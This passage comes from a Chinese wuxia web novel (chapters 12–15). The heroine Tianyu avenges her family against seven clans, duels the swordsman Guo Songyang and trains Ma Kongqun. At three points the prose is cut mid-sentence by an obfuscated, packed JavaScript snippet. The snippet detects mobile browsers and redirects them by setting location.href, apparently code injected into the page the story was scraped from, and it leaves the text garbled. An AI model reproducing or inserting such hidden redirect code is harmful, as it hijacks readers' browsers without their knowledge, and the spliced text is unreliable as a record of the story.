天羽坐在荒废多年的正堂前,伸手抚过腰间的刀,粲然一笑,道:“当然。” 关东最一流的刀客? 那是没碰上她。 等碰上了,她自会叫他们见识真正的一流。 12.厚颜请战 等七大世家前来赴约的这大半个月里,天羽见了不知多少与白家有旧的人。 其中如马老板一般,为她担忧的,更不在少数。 她无法挨个解释过去,也不想过早叫太多人知晓自己的实力,便编了个半真半假的故事,来让这些人安心。 “当年事出紧急,我爹娘只来得及将我和弟弟托付给一位他们认识的前辈,让他带我们离开关东。”她跟这些人这么说道,“那位前辈极有来头,有他在,没人能动我。” 她这么一说,顿时叫那些人松了一口气。 但也勾起了他们的好奇心,开始旁敲侧击,打听这位前辈的身份。 天羽深谙装逼的最高境界,每被问及,都只笑不语。 她越是这么讳莫如深,旁人就越觉得,她口中的这个前辈,必定实力非凡,不容小觑。 众人因此放了心,静待五月初五。 五月初四晚,浑江一带下了一场大雨。 常言道不怕七月半鬼,就怕端午节水。 端阳日天降大雨,在大部分地方,都被视为不祥之兆。 原本已经放心的白家故人们,因此忧心忡忡。 唯有天羽十分淡定。 “就算真是不祥之兆,那也是老天送给七大世家的。”她笑道,“何况今夜大雨,明日未必不会天晴。” 似是在为她助阵,一夜好雨后,第二日果然大晴。 七大世家如约而至,为看这场热闹而赶赴浑江的江湖人,亦准时来到白家堡,聚到她用来开神刀大会的飞鸿台边。 天羽当着所有人的面,解下背后的家传宝刀,飞身而起,将其悬至升起的白氏族旗上方。 放完刀从容落地,引得台边惊呼不断。 就连七大世家的家主,都不约而同,眯起了眼。 其中反应最大的,还属康堡主。 他看到那把黑色的刀,就会想起这原本已是他们康家的东西,可为了康家的名声,他又断不能在人前提及此事。 再想到自己的儿子被天羽断了子孙根,一时怒从心起。 “贤侄女好俊的轻功。”他忍不住阴阳怪气,“却不知刀法如何?” 天羽也不恼,只朝他做了一个“请”的手势,笑道:“康堡主想知我刀法如何,不如上来一试。” 康堡主一听,就要上台。 可还没踏上这残破的飞鸿台,便听她继续道:“我办这神刀大会,原也是为了与诸位堡主切磋。” “但我是晚辈,诸位是前辈,刀剑无眼,我实在不愿伤了诸位,不如我们点到为止?” 她这话说得强势,但落在七大世家那群人耳里,无异于承认自己不足。 几位堡主互相交换一番眼神,心中大定。 即将上台的康堡主听了,也忍不住在心中冷笑,暗道果然被老二猜中,此女根本没有直接报仇的本事,只是想借机逼他们表态罢了。 “你不愿伤了我们,我们自然也不愿伤了你。”康堡主昂首上台,阴沉的脸上堆出笑来,“便是你不说,我们这群做叔伯的,也会点到为止的。” 天羽看着他,倏地牵起唇角,转向台下六人,道:“既如此,不如请七位堡主一同上台,指点我一二。” 此话一出,台下一片哗然。 不知七大世家与白家恩怨的人听了,只觉她张狂。 就算你是白氏后人,也不必这么不将另外七家放在眼里啊! 知道个中恩怨,但站在七大世家那边的人,则是觉得她鸡贼。 这分明是算准了七大世家不能对她如何,借机给自己抬身价呢! 唯有白家的故人们紧张不已。 但想到她提过的那位极有来头的前辈,又稍稍将心放了回去。 大约五息后,台下的闫家堡堡主率先开口,应下了她的要求。 但在上台之前,他相当虚伪地,表达了一番对她的关爱。 那语气那神态,不知道的看了,恐怕还真会觉得,他有多么疼爱看重天羽这个侄女。 天羽为了一出手便一锤定音,自然不介意先陪他演上一演。 便也顺着他的话,用上辈子吃饭的本领,笑意吟吟地,谢过了他们这一番关爱。 如此客套完毕,剩下六位堡主,才陆续登上飞鸿台。 他们七人是结义兄弟,彼此间最不缺的,就是默契。 一上台,便各自站定位置,将她围起。 天羽握着割鹿刀,目光从他们身上一一扫过,最后停在康堡主那里。 康堡主早已等得不耐烦了。 见她挑衅似的瞧过来,当即大喝一声,拔出腰间佩刀,率先攻上前去。 与他的儿子相比,他这个做堡主的,的确有几分真本事。 不论是拔刀的速度,还是出手的时机,都抓得恰到好处。 但很可惜,他遇上的是天羽。 只见天羽扣住刀柄,借自己抽刀之势,轻巧回身,便游刃有余地,避开了他这一刀! “铮”地一声响过,康堡主的刀,竟是直接打到了从另一侧攻来的封堡主刀上。 不分上下的两柄刀相撞,顿时火星四溅。 四目相对间,这两兄弟同时在对方眼里,看见了自己惊讶的脸。 天羽呢? 天羽已飞身而起,斩向他们右侧的闫堡主! 闫堡主不敢大意,当即给离自己最近的兄弟使了个眼神,二人移步换影,不过半息,又成夹击之势。 可天羽浑不在意,迎着那两把刀,毫不犹豫,俯冲而下! 闫堡主万没料到她的反应,一时竟有些拿不准她想做什么,便陷入了犹豫。 那一瞬间的犹豫被她抓住。 风声呼啸,雪亮的刀锋猛然落下—— 又是一阵兵刃相撞的清音,夹击的二人只觉虎口一震,几乎握不住手中长刀。 天羽手腕一转,刀锋一挑。 四两拨千斤一般,将人甩出,叫另一侧攻来的三柄刀,被迫收了势。 任谁都没有想到,不过一个回合,她便闲庭信步,轻松化解了这七人七刀。 飞鸿台下一片瞠目结舌。 尚未擦亮眼睛确认眼前景象,就见她转身一扫,带起一道闪电般的刀光! 刀气四溢,带得空中族旗一阵瑟瑟。 哗哗作响间,似乎有一道清脆的断裂声响起。 再仔细一看,方才离她最近,被她扫中的两把刀,猛然断裂! 持刀的康、封二人尚未反应过来,便觉手中一轻。 电光石火间,两人心中,闪过同一个念头:她恐怕真有以一敌七,直接报仇的本事! 可此时此刻,已容不得他们后悔。 晶莹似雪的刃光再度落下。 秋水般的刀锋近在眼前。 痛意尚未袭来,他们却在那刀锋上,瞧见了倒映的血色。 “老二!老五!”康堡主下意识惊呼,嗓音迫切。 “不、不是说点到为止吗?”台下也有人震惊。 天羽并没有解释,只反手一挥,继续出招。 她的刀实在太快。 解决两人后,闪转腾挪间,更显从容。 轻轻一旋,又挑起两把刀,如法炮制。 这一次,所有人都清楚地听到了那两把刀断开的声响。 一如玉石碎裂,叫人惋惜的同时,又难免觉得悦耳。 至少悦到了她的耳。 转眼四把刀已断,台上剩下的三个人,纵然还握着刀,也知这“切磋”的主动权,已根本不在他们手里。 生死之间,谁还顾得上兄弟? 因此,在她朝着赵堡主一刀劈下时,另外两个离她稍远的人,毫不犹豫地跳下擂台,落荒而逃。 他们带来的手下见状,忙拨开人群跟上。 而亲眼见到天羽出手的白家故人,也迅速反应过来,试图上前阻拦。 场面一片混乱。 天羽一刀劈断赵堡主的刀,再踩住他肩,用力一点,飞身追上。 在场数百人,目光同时追她而去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14566166|154688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尚未定睛,就见那道轻盈的黑影扬手破空,直取奔逃之人咽喉。 有那么一瞬间,所有人都屏住了呼吸。 一片安静中,嗤地一声响起。 那是刀锋划破皮肉的声音。 以为自己抓住最后生机的两人倒下去时,面上犹是一派不可置信,心里却想:不知我二人的刀断了没有? 可惜直至咽气,他们也没能知道这问题的答案。 天羽杀完人,便收了刀。 分明刚做完一件惊天动地的大事,神情却几无变化,好似这一切都是理所应当的。 如此模样,叫在场之人无不屏气凝神。 气氛由此紧张。 她撩了撩眼皮,目光扫过那七人带来的手下,道:“我想你们应该很清楚,我为什么要杀他们。” 话音落下,便有人扑通一声,朝她下跪,说自己并没有参与过白家的灭门惨案,请她饶过。 其他人见状,纷纷有样学样。 一时呼啦啦跪倒一片。 叫原先不知内情的人终于恍然。 天羽想了想,说:“那你们自废武功吧。” 看在不是主谋,最多只是帮凶的份上,自废武功,就能活命。 “废完武功,我就允你们各自回堡。”她又道,“不过这七家势力,从今往后,必须在关东武林除名。” “否则我会一家一家杀过去。” 昔日七大世家暗中勾结,筹谋灭白家一家。 而今她一人一刀,打散这七家。 一报还一报。 她并不觉得自己过分。 “怎么样?”她垂眸,再度看向那群跪着的人,“考虑好了吗?” 死一样的寂静中,有人咬着牙抬头,问:“只因我们与这七家有关系,便要自废武功吗?白姑娘未免有些不讲道理了。” 天羽扫了他一眼,认出他腰带上的康家标志,忽然一笑,道:“你不想自废武功,那要不我用招待你家少主的法子招待招待你?” 能跟着康堡主一起赴会的人,在康家堡内地位绝不会低,自然也很清楚,自家少主在她手上遭了什么罪。 顿时面色大变,不敢再语。 就在此时,身后响起一阵风声。 飞鸿台另一侧的人群也发出惊呼。 天羽闻声回头,就见一道高大而矫健的黑色身影凌空而起,冲向她悬在族旗上方的黑色神刀。 此人轻功卓绝,出手之快,犹如闪电。 只一眼,天羽就知道,自己不可能抢在他之前拿到刀。 干脆没有动作,任他取刀。 下一瞬,那人长臂一伸,将刀收入怀中,旋身落地。 他站在飞鸿台中央,捧着这把刀,朝她看来。 天羽挑眉:“阁下不问自取,是为何意?” 黑衣人盯着她,眸光荧荧,道:“我想与姑娘打一场。” 天羽:“?” 那你也不用先拿我的刀? 像是猜到了她内心所想,黑衣人抿唇一笑,走下飞鸿台,双手将刀奉上,道:“白姑娘为报家仇,才办了这神刀大会。” “如今仇报了,我替姑娘取下此刀,交到姑娘手上,叫这大会落了幕,才好厚颜请战。” 天羽:“……” 感觉怪怪的,但是又好像自有一派能说通的逻辑。 她接过刀,往他腰间看去,有些意外:“你是剑客?” “是。”他语气潇洒,眉目之间透着一股不惹人讨厌的高傲,“在下郭嵩阳,本非关东人士,可路过此处,见识了姑娘的刀法,心中实在难耐,故此邀战。” 这话音一落,人群间,立刻有人抽气惊呼: “嵩阳铁剑!” “什么?他就是那打败天南第一剑客谢天灵的嵩阳铁剑郭嵩阳!” “我听说他是个武痴,只要见了令他心动的高手,便会向其邀战。” “白姑娘的刀能叫他心动邀战,那岂不是……” “怕是足以横扫关东!” 13.马家空群 以天羽的耳力,当然听清了那些关于郭嵩阳的议论。 她很确定,只要她答应与郭嵩阳一战,不论结果是输还是赢,她都能扬名于整个武林。 可她并不想答应。 此人看了她的刀法,二话不说,就自顾自插手,要替她结束这神刀大会,以便向她邀战。 言语上固然讲究礼节,颇有君子之风,可实际行为全是冒犯。 她不喜欢。 “抱歉。”她摇头,“我没兴趣与你交手。” 郭嵩阳万没料到她的拒绝,一时愣住,下意识问:“为什么?” 天羽挑眉:“别处我不知道,但在我们关东,没兴趣便是没兴趣,不需要原因。” 她说完,就毫不犹豫地将刀背回身后,转身继续料理七大世家带来的人去了。 那群人看到郭嵩阳向她邀战,正觉庆幸。 他们满心以为,嵩阳铁剑都开了口,她必会答应。而一旦她答应,他们就可以趁这两人动手浑水摸鱼。 ……结果她根本没给郭嵩阳面子,说拒就拒。 那理直气壮不做理睬的模样,叫他们傻眼的同时,也忍不住悚然:她连郭嵩阳的面子都不给,那他们这一行人,就更不可能让她改主意了。 果然,天羽刚走回他们面前,便重新看向之前那个说她不讲道理的康家堡弟子,问:“如何,决定好了吗?” “是自废武功,还是效仿你家少主?” 那人跪伏在地,肩头直颤,半晌说不出话。 天羽:“要是实在决定不了,那我就替你决定了。” 她话音落下,康家堡弟子猛然抬头,一派恐惧地朝她看来,道:“白姑娘!你非要这么赶尽杀绝吗?” “赶尽杀绝?”她差点听笑了,“十一年前的夏至夜,你们七家暗中勾结,杀进白家堡,夺我白家神刀和刀谱,那才叫赶尽杀绝。” “如今我只是要你们自废武功而已,算什么赶尽杀绝?” 那人还想强辩:“可没了这一身功夫,我们——” 话说一半,周围人鄙夷的目光一齐瞧过来,又叫他瞬间气短。 最后是天羽替他说了下去。 “没了这一身功夫,你们往后就再不能欺男霸女,四处横行了嘛。”她说,“是想说这个吧?” 其实大家都知道,不止如此。 能行灭门之事的人,绝不会只有一个仇人。 白家覆灭的这十一年,关东武林完全落入七大世家掌控,动不动就寻个名目料理他们眼中有威胁的势力。 现在境况倒转,轮到七大世家夹着尾巴做人了,从前与他们有过节却不敢撄其锋的人,当然也会各自有仇报仇、有冤报冤。 这也是为什么天羽的刀都亮出来了,这些人依然挣扎着不肯动手。 如果可以,他们是真不想落到那种境地。 可惜拖延无用。 天羽并不会在这种地方心软。 垂死挣扎不肯动手?那她代劳就是。 她也不稀罕吸这群人身上三瓜俩枣的内力,直接抽刀扬手,挥向丹田。 刀气倾泻而出,犹如千斤巨石滚滚而下,瞬间撕裂经脉。 仅五刀,她就就把这群人的功夫废了个彻底。 废完收刀,干净利落。 受邀而来的江湖人见到这番场面,原本吓得不轻。 但七大世家造过的孽确实太多,没一会儿,就有人忍不住叫了声好,还道:“白姑娘高义!” 以马老板为首的白氏故人们一听,也迅速反应过来,开始高声附和。 被废去武功的七大世家诸人,便在这对天羽的称赞声中,形同丧家之犬,灰溜溜地离开了白家堡。 天羽也践行了自己的承诺,没拦他们。 但其他与他们有过节的人趁机追上去,她也不会管就是。 …… 神刀大会结束后,她并没有在白家堡久留。 但也没直接回铁匠铺去。 她刚以一敌七报完仇,风头正盛,这会儿回去,难免扰了东家安宁。 而且铁匠铺里除了东家,还有无崖子和苏星河,若是一不小心泄露了这对师徒的行踪,就更不妙了。 出于这番考虑,她思量再三,选择应了马老板的邀约,去他的马场做几日客。 马场位于长白山山脚,离白家堡大约两、三日路程,一路驰骋过去,很是方便。 天羽听着马老板的介绍,本来很有兴致,但行到第二日,之前在神刀大会上向她邀战的郭嵩阳策马追了过来。 他仍不死心,想要与她打一场,说是如果不能与她比上一回,他恐怕夙夜难寐。 天羽:“……” 她实在不太理解这种被拒绝了还要再贴上来的武痴精神,只觉得这人仪表堂堂,却听不懂人话。 出于上辈子与人相处的经验,她深知对付这种死心眼的人,讲道理没有用。 所以无语归无语,最终还是应了下来。 “你若非要跟我打,也行。”她无奈道,“但时间地点得由我定。” 郭嵩阳大喜,拱手道:“愿凭姑娘安排!” 天羽也不跟他客气,当即表示,既如此,就等她去马老板的马场做完客再说。 毕竟在他追过来之前,她已经先答应了马老板。 郭嵩阳点头:“好。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14577833|154688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 然后就跟着她和马老板,一路去到长白山下。 马老板虽未出过关东,但也听来来往往的客人们提起过嵩阳铁剑的名号,并不敢怠慢,便想连着他一起招待。 他却拒绝道:“我此行只为与白姑娘一战,就不打扰了。” 最终他没进马场,只一人一剑,在马场外,等着天羽做完客。 像一尊英俊但沉默的雕像。 马场里的人见了,纷纷侧目。 其中最好奇的,当属马老板的儿子马空群。 他和天勇一个年纪,武学天赋倒是比天勇强不少,刀使得有模有样。 神刀大会的结果人尽皆知,对天羽,他本就十分崇拜。 现在得知那等在马场外的黑衣人就是大名鼎鼎的嵩阳铁剑,那份崇拜更是来到了巅峰。 “白家阿姊准备何时与他一战?”他忍不住问天羽,“到时我能去看吗?” 天羽:“你很想看?” 他重重点头:“想!” “那你替我寻一个僻静些的地方。”她说,“免得被人扰了。” “僻静之地?”他想了想,很快有了主意,“那不如去天池南坡,那里一向鲜有人往。” 天羽没意见:“行。” 马空群顿时兴奋起来:“咱们何时前往?” 天羽坐在马上,朝远处的黑色身影望了一眼,轻叹一声,道:“再叫他这么等下去,我怕是要胜之不武了。” “便明日吧。” 马空群:“……” 等等,什么意思? 见他见了鬼似的瞪着自己,天羽不由得一笑,道:“怎么?你不信我能赢他?” “我……”少年陷入吞吐,一脸尴尬,但还是小声说了下去,“他……他毕竟是嵩阳铁剑……” “而且我听人说,他在中原武林,几乎没有败绩……” “很多人都觉得,他的剑术,已不在昔年无垢山庄连庄主之下。” 天羽听着他的话,又往郭嵩阳的方向投去一眼。 恰在此时,雕像一般的人似有所感,倏然抬头。 两人的目光在空中交会。 分明隔得很远,她却清楚看见了他眸中的战意。 她终是被这份诚挚的战意触动了。 良久,她听到自己再度轻叹的声音。 “那明日你可得擦亮眼,好好瞧着。”她对身旁的马空群说。 或许是她的语气太过笃定,这一瞬,马空群竟不由自主地,幻想起了她与郭嵩阳一战的场面。 他因此心潮澎湃,再一偏头,对上她眸光流转、似笑非笑的一双眼,登时心如擂鼓,向往难言。 14.黑刀黑剑 天羽不想欺负郭嵩阳,思来想去,还是亲自出了马场,将这个等了三日的剑客请了进来。 “我决定明日与你一战。”她说,“但我希望这一战是公平的。” 郭嵩阳一时没懂,问:“白姑娘的意思是?” 她笑起来,语气松快,道:“我的意思是,你现在应该立刻马上进来,不管是花钱,还是许人情,都要好好吃一顿热饭,睡一个饱觉。” “如此,你我一战,才算公平。” 郭嵩阳顿时怔住。 等他反应过来,想再开口之际,她已经转身。 他想了想,到底跟了上去。 这一晚,他依照天羽所言,在马场里吃饱喝足,睡了个很安稳的觉。 一夜无梦到天明。 次日一早,他听到屋外传来的动静,起身推门,便见她背着刀立于门外,正认真打量着自己。 “看起来,你休息得不错。”她微笑道。 “是不错。”他颔首,“多谢白姑娘。” “谢就不必了。”天羽很诚实地说出了自己的想法,“我只希望你今日与我比完后,别再追着我了。” 郭嵩阳:“……” “好。”他应下来,“今日比完,不论结果如何,我都不会再打扰姑娘。” 死心眼的人讲不通道理,但也有优点,比如重诺。 天羽得了他这句承诺,十分满意。 之后就让马空群带路,一起去了天池南坡。 这个时节的长白山天池没有积雪,只有层峦叠翠,景致很是宜人。 从马场一路过去,能清楚地闻到各种只属于夏天的气息。 待上了天池南坡,不同于雪季的斑斓风光更是尽收眼底。 天羽举目远眺,欣赏了片刻,便偏头对马空群道:“这地方的确不错。” 马空群听她这么说,当即笑道:“白家阿姊满意,那再好不过了。” 天羽笑了笑,又侧首去看郭嵩阳。 巧的是郭嵩阳也在看她。 两人的视线在空中交错,竟是瞬间互相心领神会。 下一刻,两人同时下马。 郭嵩阳取下背上的黑色长剑,朝她做了一个“请”的手势。 说起来倒也很有缘分。 他这把铁剑,和她的家传宝刀一样,都是通身漆黑,不同于寻常兵刃。 她站在原地,看他拔剑出鞘,看到最后心念一动,松开了抓在腰间的手,转而伸向身后。 割鹿刀太锋利。 缘分难得,执着的剑客更难得,可以的话,她并不想断他的剑。 郭嵩阳注意到她动作,有些意外,却也没多问。 从始至终,他看中的都是她的刀法,而非刀。 反正不论她用哪一把刀与自己比试,他都会全力以赴。 下一瞬,铮地一声响起,漆黑的长刀骤然出鞘! 郭嵩阳目光一盛,下意识道了声好。 天羽握着刀,没应这一声。 她在专心致志地,看着郭嵩阳。 相比她之前切瓜砍菜一样解决掉的七大世家家主,郭嵩阳这个名满中原武林的剑客,显然不是浪得虚名。 他看似只是提着剑、随意地站在她对面,实则已经蓄势待发,一身气势,与他的剑完全融合到了一起,叫人根本寻不到破绽。 过去几年,跟东家学刀时,天羽也曾在那个吊儿郎当的酒鬼身上,感受过这种圆融一体、无懈可击的气势。 但当时她才打完基础没多久,纵是感受到了,也只隐隐约约觉得厉害。 如今她身怀北冥神功,用北冥真气助自己刀法有成,对招式和气势的理解都已不同以往,才真正体会到,这样的对手,究竟有多厉害。 她在看郭嵩阳的同时,郭嵩阳也在看她。 从前在中原武林与人比斗时,他往往是后发制人的那一个。 他喜欢先看清对手的路数,再一击破之。 但面对天羽,这一招,便有点使不出来了。 她根本不像他以前遇到的那些高手一样,见他不动,就毫不犹豫出手,试图抢占先机。 如此沉静的表现,反倒叫他无从下手。 两人就这样,一刀一剑,隔空对峙了十来息。 谁都没动,也没说话。 气氛却愈发紧张,叫看不出这番“气势之争”的马空群都不由自主乱了呼吸。 十息过后,两人同时出手,他才长舒一口气。 但这口气还没出完,眼前的两道黑色身影,已然战至一处。 黑色的刀迎上黑色的剑,叮的一声,但见火星四溅! 他牵着马,远远站在一旁,只觉剑光刀光,瞬间交织成网。 周围的一切都被这网隔开,中心处,唯余两道颀长黑影。 两人的出招速度都奇快无比,又能准确判断出对方的意图,一时间,竟是谁都奈何不了谁。 刀与剑就这样互相追逐起来,杀意十足的同时,看起来又一派相谐。 马空群看得目不转睛,只恨自己的视线还不够快,无法看清招与招之间,是如何相抗,又如何化解的。 坡上风吹不止,他的心跳,也同样不曾平复。 不知过了多久,那两人的出招速度,竟又同时慢了下来。 马空群武功远不及他们,看到这一幕,心中十分不解。 但他隐隐有预感:既然节奏已变,那胜负多半也快要分出来了。 果然,又过了十余招后,天羽和郭嵩阳骤然分开。 竟是又恢复了出招前的那种对峙之态! 天羽看着郭嵩阳,眸光微动,道:“嵩阳铁剑,确实高妙。” “不及白姑娘的刀。”郭嵩阳轻叹,“若是我再晚几年遇上白姑娘,恐怕撑不了这么多招。” 是的,他看出来了。 天羽的刀法十分精湛,但还没练到真正炉火纯青的地步。 可纵是如此,她还是能凭借自己过人的反应,补上这点不足,与他一争高下。 甚至于打着打着,他还被她摸准了出招的套路,隐隐形成了压制。 只是两人都觉得,这么打下去,也不知猴年马月才能打出结果,干脆摒前招不用,各自拿出最有把握的招式,准备一招定胜负。 风仿佛在这一刻暂时停歇。 两人一动不动,盯紧对方。 这次没有十息。 仅两息后,便一齐朝对方攻了过去。 剑是大巧不工、毫无虚招的一剑。 刀是干净利落、快如闪电的一刀。 口干舌燥的马空群只见到长刀一挑,铁剑一横,霎时间风云变色。 他下意识想要上前几步,看看清楚,可还没来得及抬脚,便听郭嵩阳忽然惊呼出声—— 马空群:“!!!” 难道胜负已分? 他不知道郭嵩阳为何惊呼,但天羽知道。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14588469|154688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 万没想到,郭嵩阳反手横剑后,会忽然收势转身,贴到她后背处,续上最后那半招。 这半招倒是顺利使出来了,可两人离得这么近,他不可避免地,碰到了她背后的穴道。 她一身北冥真气,顿时被调动,一股精纯的内力涌入身体—— 天羽:“……” 这被动技能真是让人不知说什么好。 她倒不怪无崖子教了她这么逆天的内功。 但她知道,她并不想用这种方式赢。 千钧一发,多犹豫哪怕一瞬,都会让他失去更多内力。 她来不及多想,当即用另一只手抽出腰间的割鹿刀,劈向他的铁剑,来阻断他收不回去的招式。 这一劈,倒是叫他立刻拉开了与她的距离。 但那柄黑色的铁剑,也应声而断。 断下的半截飞下山崖,郭嵩阳面色大变,下意识飞身追去。 他反应极快,追倒是追上了,可他刚失去不少内力,使轻功时,难免不如以往如臂使指。 不等飞身而回,便有气力不济之兆。 天羽:“……” 她睁大眼,想也不想,就提着刀掠了过去。 以她的轻功,帮他一把,自然没问题。 但问题是,刚才为了及时打断他的招式,情急之中,她把两把刀都抽了出来,现在根本没法伸手拉他! 最后急中生智,用刀背给他借了力。 这一切从发生到结束,不过几个瞬间。 对郭嵩阳来说,却惊心动魄,仿佛死过一回。 重新回到坡上站定之际,他抬起双眸,朝她望去,只觉这天地之间一切,都失了色。 唯有她不解中带着庆幸的神情,最为明晰。 “你——”她说,“你知不知道,你差些就掉下去了!” “多谢白姑娘……救命之恩。”他听到自己说。 天羽唉了一声,说不必。 “也是因为我断了你的剑。”她叹气,“我非有意如此,但那个时候……” 她话没说完,郭嵩阳已经收好断剑,朝她拱手,道:“白姑娘不必多言,我明白,你那么做,原是为了救我。” 他不问为什么一贴近她就会被吸走内力,也不怪她情急之下出手断他爱剑。 只这么郑重地谢了她。 这让天羽更不好意思。 “那……今天咱们就到这?”她问。 他愣了一下,而后自嘲一笑,道:“既已分了胜负,自然到此为止。” 天羽其实不是很想认这个胜负,主要是没料到一番误打误撞,最后自己还是“欺负”了他。 想了想,提议道:“改日再比一场,如何?” 郭嵩阳闻言,欲言又止。 “怎么?”她挑眉,“你不愿意?” “我愿意!”他飞快否认,“只是……” “只是什么?” “只是你说过,希望我今日与你比完后,别再追着你。” 他说这话时,定定地望着她,神情里透着小心。 英俊的眉眼间骄气不再,反倒显出一股忐忑。 仿佛很怕她听了这话,就顺势不再提再比一场的事了。 可纵是这样,他还是说了。 天羽不由得笑起来,道:“此一时,彼一时。” “你只说你愿不愿意再比一场。” 他看着她,抿了抿唇,又答一遍:“再愿意不过。” 15.夜游天池 郭嵩阳就这么在马家马场里住了下来。 他是中原武林的大人物,马老板当然很愿意招待,还特地私下里叮嘱儿子,尽量跟人家混个脸熟。 “若是能与嵩阳铁剑交好,咱们家便能多一个靠山。”马老板对马空群说,“往后与中原的主顾做买卖,也不必怕了。” 马空群明白父亲的一片苦心,但兴致缺缺,只在嘴上应了,转头继续往天羽跟前凑。 亲眼看过了天羽和郭嵩阳一战后,他现在眼睛里已经根本看不到郭嵩阳了。 他只想再见识一下天羽的刀。 天羽也察觉到了这小子对自己愈发热切的态度,猜出原因,心中颇有几分好笑。 “你整日往我这跑,还能抽出时间练刀吗?”她问。 马空群顿时赧然。 见他红着脸说不出话,天羽忽然就想起了天勇。 那小子刚学打铁的时候,进度总是很慢,每次碰上捉摸不透的关窍,也会露出这样不好意思的表情。 “不如这样,”她有了主意,“从今日起,你就干脆到我这里来练,正好我也能替你看看,如何?” 马空群一听,简直狂喜:“白家阿姊愿意指点我?” 天羽唔了声,说:“总不能叫你白唤了这声阿姊。” 马空群看着她,犹豫片刻,才咬着唇道:“多谢阿姊。” 他其实早就想省去“白家”二字了,但苦于没找着合适的机会,此刻听到她这么说,便决定顺水推舟,改唤阿姊。 只是唤出口这一刻,他依旧不由自主地,感到一阵紧张。 万幸天羽听了没在意,只点点头,让他完整地练一遍他学的刀法。 马空群的刀是一把短刀。 虽然都是刀,但短刀与长刀,使起来并不一样。 换作以前,天羽也不会大言不惭,要指点用短刀的人。 但最近这半年,因为身怀北冥真气,她对各种武学的理解突飞猛进,对东家传授的刀法,也已从原先的得其形变成了领其意。 既得刀术真意,便也有了指点马空群的信心。 完整地看了一遍他的刀法后,她沉吟片刻,道:“你是不是苦练过拔刀?” 马空群一怔,旋即眨眼反问:“阿姊怎猜到的?” “还需要猜么?”她笑,“你拔刀的速度,远胜于收刀的速度,必是辛苦练过,才会如此。” 他听得一喜,正想点头承认,她却话锋一转,继续道:“苦练拔刀,本身是对的,但你练过了头,便不对了。” “为何不对?”马空群紧张道。 “你没有发现吗?你用刀时,因为太追求迅速拔刀,拔完之后,第一招便有些飘了。”她说,“若我不曾看错,你这套刀法的第一招,本应是横刺之势,可你收不住拔刀之力,比起横刺,倒更像是在投掷你手中的刀了。” “我想任何一套刀法,都不可能在起手时,排出这样的招式来。” 马空群闻言,先是面色骤变,再又恍然,道:“阿姊说得不错,我练刀时,的确常觉难以收力。” “但我竟从未想过,这是因为我太执着于拔刀……” 看他一副大受打击的模样,天羽叹了一声,起身走到他身旁,拍了拍他的肩膀,道:“我听你父亲说,你的功夫,几乎都是从这马场的客人那里学来的。” “你悟性其实不错,只是客人来来往往,多不能久留,便也无人替你纠正这些细枝末节的东西。”她说到这里,停顿了片刻,方才继续,“若是你不介意吃些苦头,往后过来时,我可以替你纠正一二。” 马空群哪能不愿意。 他简直太愿意了。 他抬起头,直直地看向她,眸光里似有火焰跳动。 “阿姊肯教我,那真是再好不过。”他说,“可我身无长物,真不知该如何报答阿姊。” “你不是带我游长白山了么?”她微微侧首,含着笑道。 天高云淡,微风轻拂。 她一身黑衣,立在院中,神态与语气一般随意,仿佛帮他这么大的忙,于她而言,只是一件不值一提的小事。 马空群看在眼里,一时间,心中失落竟是压过了喜悦。 这失落来得极不讲道理,只一瞬,便席卷他全身,叫他抿紧了唇。 天羽不知他心中所想,但她当了十年演员,对周围人情绪的变化尤为敏感,见他这么别别扭扭地盯着自己,到底补了一句:“你若觉得那点报答不够,不如再帮我一个忙。” 马空群立刻道:“什么?阿姊但说无妨。” 天羽侧过身,朝隔壁郭嵩阳的院子望了一眼,说:“你替我寻一对刀剑来,不必多锋利,能用即可。” 马空群愣了:“阿姊要这个做什么?” “我与郭嵩阳说好了择日再战。”她说,“可他的剑被我断了,如今手上没有兵刃,总不能叫他赤手空拳与我再比一场。” 所以就得给他找一把剑。 但这样一来,她若还用自己的刀迎战,便太不公平了。 因此,她也要另寻一把与他相当的刀。 马空群:“……我明白了。” “那此事便拜托你了?”她牵起唇角,笑得明快。 “阿姊放心。”他深吸一口气,“我这就去找!” 天羽却伸手一拦,扣住他的腕,道:“急什么?” “先把你的出刀习惯纠正了再说。” 马空群被她抓着手,晕晕乎乎地,就应了下来。 但他很快便清醒了。 因为她纠正他的动作时,当真半点情面都不留! 仅一个拔刀起手的姿势,就叫他吃尽了苦头。 不过半日,他就累得腿软手抖。 等练够了今日的份,从她客宿的地方离开,他更是头晕眼花,恨不得直接倒在马场草地里睡上一觉。 累到这个境地,夜里他自是没再往她跟前凑了。 只遣人把她要的刀剑送了过来。 “少东家说,您要是不满意,他再接着找。”来人奉上刀剑,语气恭敬地对天羽道。 